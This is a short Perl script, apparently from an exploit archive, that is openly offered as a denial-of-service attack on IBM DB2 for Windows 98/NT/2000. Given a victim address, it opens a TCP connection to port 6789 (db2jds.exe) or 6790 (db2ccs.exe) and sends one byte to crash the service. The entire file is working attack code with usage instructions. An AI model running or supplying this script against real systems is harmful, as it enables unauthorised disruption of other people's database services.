#!/usr/bin/perl

# ---- ibm-db2.pl
# DoS script against IBM DB2 for Windows98/NT/2k
# see also:
#   http://packetstormsecurity.org/0107-exploits/ibm.db2.dos.txt
#   http://packetstormsecurity.org/0107-exploits/ibm-db2.c
# 
# 					White_E <white_e@iname.com>
# 					http://ttj.virtualave.net/

use Socket;

$|=1;

($victim,$type) = @ARGV;

if ($type == 1) {
    $port=6789;
} elsif ($type == 2) {
    $port=6790;
} else {
  print STDERR "usage: $0 <victim> <type>\n";
  print STDERR "type: 1 ... port 6789 (db2jds.exe)\n";
  print STDERR "type: 2 ... port 6790 (db2ccs.exe)\n";
  exit;
}

$iaddr=inet_aton($victim)                           || die "ERR: can't find $victim\n";
$paddr=sockaddr_in($port,$iaddr);
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')) || die "ERR: socket()\n";
connect(S,$paddr)                                   || die "ERR: connect()\n";
send(S,'P',0)                                       || die "ERR: send()\n";

print "one byte was sent to $port successfuly.\n";
exit;